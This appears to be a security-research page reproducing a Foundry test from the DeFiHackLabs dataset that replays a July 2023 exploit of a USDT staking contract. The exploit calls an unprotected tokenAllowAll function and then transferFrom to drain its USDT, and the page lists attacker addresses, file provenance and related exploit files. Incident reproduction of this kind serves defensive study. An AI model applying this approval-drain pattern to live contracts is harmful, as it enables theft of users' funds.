Public reproduction file

src/test/2023-07/USDTStakingContract28_exp.sol

Public reproduction file for dataset entry USDTStakingContract28.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/USDTStakingContract28_exp.sol63 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~20999 USD
8// TX : https://app.blocksec.com/explorer/tx/eth/0xfc872bf5ca8f04b18b82041ec563e4abf2e31e1fc27d1ea5dee39bc8a79d2d06
9// Attacker : https://etherscan.io/address/0x000000915f1b10b0ef5c4efe696ab65f13f36e74
10// Attack Contract : https://etherscan.io/address/0xb754ebdba9b009113b4cf445a7cb0fc9227648ad
11// GUY : https://x.com/DecurityHQ/status/1680117291013267456
12 
13interface USDTStakingContract28 {
14    function tokenAllowAll(address asset, address allowee) external;
15}
16 
17interface CheatCodesNew {
18    /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,
19    /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.
20    function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
21}
22 
23contract ContractTest is Test {
24    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
25    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26    USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);
27    Money money;
28 
29    function setUp() public {
30        cheats.createSelectFork("mainnet", 17_696_562);
31    }
32 
33    function testExploit() public {
34        emit log_named_decimal_uint("[Begin] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 6);
35        money = new Money();
36        money.attack();
37        emit log_named_decimal_uint(
38            "[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
39        );
40    }
41 
42    fallback() external payable {}
43}
44 
45contract Money {
46    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
47    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
48    USDTStakingContract28 Stake = USDTStakingContract28(0x800cfD4A2ba8CE93eA2cc814Fce26c3635169017);
49    address owner;
50 
51    constructor() {
52        owner = msg.sender;
53    }
54 
55    function attack() public {
56        Stake.tokenAllowAll(address(USDT), address(this));
57        address(USDT).call(
58            abi.encodeWithSelector(
59                bytes4(0x23b872dd), address(Stake), address(msg.sender), USDT.balanceOf(address(Stake))
60            )
61        );
62    }
63}

Analysis

Dataset entry

Public Foundry test for “USDTStakingContract28” (2023-07-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x000000915f1b10b0ef5c4efe696ab65f13f36e74
Attack Contract
0xb754ebdba9b009113b4cf445a7cb0fc9227648ad

File record

Name: USDTStakingContract28
Path: src/test/2023-07/USDTStakingContract28_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 4997bf8db72e1633868751a2ad0dda5021ecee42
Language: Solidity
Size: 64 lines
Date: 2023-07-15
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/USDTStakingContract28_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4997bf8db72e1633868751a2ad0dda5021ecee42, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.